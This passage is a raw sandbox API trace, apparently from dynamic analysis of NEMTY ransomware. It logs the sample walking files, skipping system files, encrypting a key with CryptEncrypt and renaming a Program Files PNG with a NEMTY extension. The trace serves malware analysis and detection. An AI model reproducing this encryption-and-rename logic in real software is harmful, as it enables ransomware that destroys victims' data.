ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0096.259] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0096.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0096.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0096.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0096.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0096.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0096.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0096.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0096.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0096.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0096.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0096.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0096.260] Sleep (dwMilliseconds=0x5) [0096.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed0689d0, dwHighDateTime=0x1d561e7)) [0096.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed0689d0, dwHighDateTime=0x1d561e7)) [0096.265] GetLastError () returned 0x5 [0096.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.265] GetLastError () returned 0x5 [0096.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.266] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0096.266] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="0ZZGN/+9E7GSoWa160XtTTB+zljl3YY/qd6kpeLQyvsK7+GObnx6Y7cWzeHc6EuT\r\nkvvBHrbK62xxXJAa7jJ6MlX/M8XDXYbfRYVdWvXZaP9Q8WD+228Crkfs+sYqCzBP\r\nbW/25nDZjLcHQp5A+8NiMhawIBySIT3u4r2ZLcotmVlY2ZET1p3TNvN2wiWqpS4g\r\nbE4Jvv7/6rd5G0tYTcvF1rdTCvZRKur4CbhBZdF5CFM4Yxx6lyFC38ptOJV3FijJ\r\nXfxSPTnvTiyP0M4rLD+7ytDdTWVaie1f6miFygHVCroHEPuudL7AfpNO+KIvoZXR\r\nGPPVHtzT6CH27XQuW4HdEA==\r\n", pcchString=0x653e91c) returned 1 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.266] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.266] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.373] CloseHandle (hObject=0xffffffff) returned 0 [0096.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0096.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0096.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.373] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0096.373] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0096.373] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0096.374] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 